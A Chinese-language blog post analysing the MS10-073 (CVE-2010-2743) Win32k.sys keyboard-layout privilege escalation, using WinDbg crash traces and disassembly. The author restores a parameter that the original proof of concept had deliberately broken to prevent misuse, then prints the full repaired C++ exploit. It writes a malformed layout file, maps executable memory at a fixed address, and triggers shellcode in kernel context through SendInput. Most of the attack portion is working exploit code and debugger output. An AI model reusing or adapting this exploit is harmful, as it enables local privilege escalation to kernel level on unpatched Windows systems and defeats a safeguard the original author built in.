MS10-073微软Windows内核Win32k.sys键盘布局本地提权漏洞 fix poc

第一次载入poc crash在这
eax=00000000 ebx=00000000 ecx=0000006b edx=e16edaac esi=00000244 edi=00000000
eip=8053af99 esp=b264e948 ebp=b264e94c iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
nt!_wcsicmp+0x24:
8053af99 668b06          mov     ax,word ptr [esi]        ds:0023:00000244=????

ChildEBP RetAddr  Args to Child              
b264e94c bf89ebfb e16edaac 00000244 00000000 nt!_wcsicmp+0x24
b264e964 bf885192 0000004c 00000160 000001ae win32k!LoadKeyboardLayoutFile+0x22
b264e9f0 bf884c80 81cf5038 0000004c 08040804 win32k!xxxLoadKeyboardLayoutEx+0x1be
b264ed40 8054261c 0000004c 01ae0160 00000000 win32k!NtUserLoadKeyboardLayoutEx+0x158
b264ed40 7c92e4f4 0000004c 01ae0160 00000000 nt!KiFastCallEntry+0xfc
0012f9d8 0042c59c 0042c80d 0000004c 01ae0160 ntdll!KiFastSystemCallRet
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012ffd0 8054c6ed 0012ffc8 81d99020 ffffffff 0x42c59c
00130008 00000000 000000c4 00000000 00000020 nt!ExFreePoolWithTag+0x40d

分析了下crash在这是poc发布者故意这么做的,防止被恶意利用,将NtUserLoadKeyboardLayoutEx的puszKeyboardName参数置0导致的
更改poc,增加puszKeyboardName参数
InitializeUnicodeStr(&uKerbordname,L"A");

更改poc后重新载入,下NtUserLoadKeyboardLayoutEx
.text:BF884C17                 test    ebx, ebx   //ebx就是puszKeyboardName参数
.text:BF884C19                 jz      short loc_BF884C4E
.text:BF884C1B                 mov     eax, _Win32UserProbeAddress
.text:BF884C20                 cmp     ebx, eax   //地址要小于_Win32UserProbeAddress
.text:BF884C22                 jnb     short loc_BF884C26
.text:BF884C24                 mov     eax, ebx
.text:BF884C26
.text:BF884C26 loc_BF884C26:                           ; CODE XREF: NtUserLoadKeyboardLayoutEx(x,x,x,x,x,x,x)+D0j
.text:BF884C26                 mov     ecx, 0B1h
.text:BF884C2B                 mov     esi, eax
.text:BF884C2D                 lea     edi, [ebp+var_2F4]
.text:BF884C33                 rep movsd
.text:BF884C35                 cmp     [ebp+var_2F4], 8  //因为puszKeyboardName是unicode_string参数,这里判断unicode_string的max_length必须等于0
unciode_string.length必须小于8 
.text:BF884C3C                 jnb     loc_BF884B35

重新构造poc
 InitializeUnicodeStr(&uKerbordname,L"A");
 uKerbordname.MaximumLength=0;
在载入后就可以顺利到达SetGlobalKeyboardTableInfo函数
这个函数会设置gpKbdNlsTbl 变量,这个变量会在xxxKENLSProcs函数中使用,若不设置,就无法触发漏洞

1: kd> kb
ChildEBP RetAddr  Args to Child              
f87d9944 bf8b238a e1eec3c8 e1eec3c8 e1014128 win32k!SetGlobalKeyboardTableInfo
f87d9958 bf898e3d e1014128 e1eec3c8 e1014128 win32k!ChangeForegroundKeyboardTable+0x11c
f87d9978 bf884f02 e1eec3c8 e21f6978 f87d9d10 win32k!xxxSetPKLinThreads+0x37
f87d99f0 bf884c80 81bd5c28 f87d9cd0 08040804 win32k!xxxLoadKeyboardLayoutEx+0x395
f87d9d40 8054261c 000007cc 01ae0160 0012ff4c win32k!NtUserLoadKeyboardLayoutEx+0x158
f87d9d40 7c92e4f4 000007cc 01ae0160 0012ff4c nt!KiFastCallEntry+0xfc
......
ChildEBP RetAddr  Args to Child              
f87d9c88 bf84880e f87d9cc8 00000000 00000000 win32k!xxxKENLSProcs      ----->vuln
f87d9ca4 bf8c356c f87d9c00 00000000 00000001 win32k!xxxProcessKeyEvent+0x1f9
f87d9ce4 bf8c342c 00000000 00000000 00000000 win32k!xxxInternalKeyEventDirect+0x158
f87d9d0c bf8c32aa 00000001 e17ad798 f87d9d64 win32k!xxxSendInput+0xa2
f87d9d50 8054261c 00000001 0012ff10 0000001c win32k!NtUserSendInput+0xcd


1: kd> p
win32k!xxxKENLSProcs+0x52:
bf847342 0fb6887dffffff  movzx   ecx,byte ptr [eax-83h]

1: kd> db eax-83
e20cdf7b  05 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................    //POC中的
e20cdf8b  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
e20cdf9b  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
e20cdfab  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
e20cdfbb  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
e20cdfcb  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
e20cdfdb  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
e20cdfeb  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

1: kd> p
win32k!xxxKENLSProcs+0x59:
bf847349 57              push    edi
1: kd> p
win32k!xxxKENLSProcs+0x5a:
bf84734a 057cffffff      add     eax,0FFFFFF7Ch
1: kd> p
win32k!xxxKENLSProcs+0x5f:
bf84734f 50              push    eax
1: kd> p
win32k!xxxKENLSProcs+0x60:
bf847350 ff148d38af99bf  call    dword ptr win32k!aNLSVKFProc (bf99af38)[ecx*4]    //ecx is tainted
1: kd> r
eax=e20cdf7a ebx=00008000 ecx=00000005 edx=00000000 esi=e20cdf7a edi=f87d9cc8
eip=bf847350 esp=f87d9c74 ebp=f87d9c88 iopl=0         nv up ei ng nz ac po cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000293
win32k!xxxKENLSProcs+0x60:
bf847350 ff148d38af99bf  call    dword ptr win32k!aNLSVKFProc (bf99af38)[ecx*4] ds:0023:bf99af4c=60636261
1: kd> db 60636261
60636261  90 90 90 90 c2 0c 00 90-90 90 90 90 90 90 90 90  ................
60636271  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
60636281  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
60636291  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
606362a1  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
606362b1  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
606362c1  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
606362d1  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

1: kd> dd bf99af38                  //aNLSVKFProc
bf99af38  bf9321b7 bf9325f9 bf93263f ff696867
bf99af48  ff666564 60636261 0000006e 002c006a
bf99af58  00000000 01030091 01130090 00000000
bf99af68  01130090 00030091 00000000 01030013
bf99af78  01030091 00000000 02110110 00000412

第6个地址可以在r3下通过VirtualAlloc来进行分配可读可写可执行的内存到这个地方,这个地方填充shellcode
便可以执行任意代码,执行完毕后,通过ret 0c 返回到内核空间 。

完整poc:
// ms10-73.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>

#define MAGIC_OFFSET 0x6261
#define InitializeUnicodeStr(p,s) {     \
	(p)->Length= wcslen(s)*2;           \
	(p)->MaximumLength = wcslen(s)*2+2; \
	(p)->Buffer = s;                \
}
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
 IN HANDLE Handle,
 IN DWORD offTable,
 IN PUNICODE_STRING puszKeyboardName,
 IN HKL hKL,
 IN PUNICODE_STRING puszKLID,
 IN DWORD dwKLID,
 IN UINT Flags
 )
{
	__asm
	{
		mov eax, 000011c6h
			mov edx, 7ffe0300h
			call dword ptr [edx]
		retn 1Ch
	}
}

unsigned char shellcode[]="\x90\x90\x90\x90\xC2\x0C\x00\x90\x90";
unsigned char fakeDll[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash??
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";

int g_cr0;

int _tmain(int argc, _TCHAR* argv[])
{

	UNICODE_STRING  uStr;
	UNICODE_STRING uKerbordname;
	KEYBDINPUT      kb={0};
	INPUT           vInput={0};

	HANDLE          hFile;
	DWORD           dwFuckS0ny;

	HKL             hKbd;

	WCHAR           lpPath[MAX_PATH]={0};
	WCHAR           lpLayoutFile[MAX_PATH]={0};

	LPVOID          lpShellPtr;

	printf("\n\nMS10-073/CVE-2010-2743 Exploit\n");
	printf("Ruben Santamarta - www.reversemode.com\n\n");
	LoadLibraryA("user32.dll");
	InitializeUnicodeStr(&uStr,L"pwn3d.dll");
	//fix by instruder
	InitializeUnicodeStr(&uKerbordname,L"A");
	uKerbordname.MaximumLength=0;
	GetTempPathW( MAX_PATH, lpPath );
	wsprintf( lpLayoutFile, L"%lSp0wns.boom111", lpPath);
	hFile = CreateFileW(lpLayoutFile,
		GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		0,
		CREATE_ALWAYS,
		0,0);

	if( hFile == INVALID_HANDLE_VALUE )
	{
		printf(" \n[!!] Error\n");
		exit(0);
	}

	WriteFile(  hFile,
		fakeDll,
		sizeof(fakeDll)-1,
		&dwFuckS0ny,
		NULL);
	printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
	CloseHandle(hFile);

	hFile = CreateFileW (lpLayoutFile,
		GENERIC_READ,
		FILE_SHARE_READ,
		0,
		OPEN_EXISTING,
		0,0);

	if( hFile == INVALID_HANDLE_VALUE )
	{
		printf(" \n[!!] Error\n");
		exit(0);
	}
	hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
	printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 
	/*HKL NTAPI NtUserLoadKeyboardLayoutEx	(	IN HANDLE 	Handle,
	IN DWORD 	offTable,
	IN PUNICODE_STRING 	puszKeyboardName,
	IN HKL 	hKL,
	IN PUNICODE_STRING 	puszKLID,
	IN DWORD 	dwKLID,
	IN UINT 	Flags	 
	)	*/
	lpShellPtr = VirtualAlloc( (LPVOID)0x60630000,
		0xF000,
		MEM_COMMIT|MEM_RESERVE,
		PAGE_EXECUTE_READWRITE);

	printf("\n[+] Allocating memory...");

	if( !lpShellPtr )
	{

		printf("[!!] Error %x\n",GetLastError());
		exit(0);

	}else{

		printf("[ OK ]\n");

	}

	memset( lpShellPtr, 0x90, 0xF000);

	memcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ),
		( const void* )shellcode,
		sizeof( shellcode ) - 1 );

	kb.wVk = 0x0;
	vInput.type  = INPUT_KEYBOARD;
	vInput.ki  = kb;

	printf("\n[+] Triggering shellcode...");
	SendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) );
	
	printf("\n[+] Done\n");
	int startshellcode,endshellcode;


	WinExec("CMD",0);
	Sleep(1000222);
	return 0;
}//blackbap.org


资料 http://bbs.blackbap.org/thread-1930-1-1.html http://reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1 http://www.vupen.com/blog/20101018.Stuxnet_Win32k_Windows_Kernel_0Day_Exploit_CVE-2010-2743.php


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值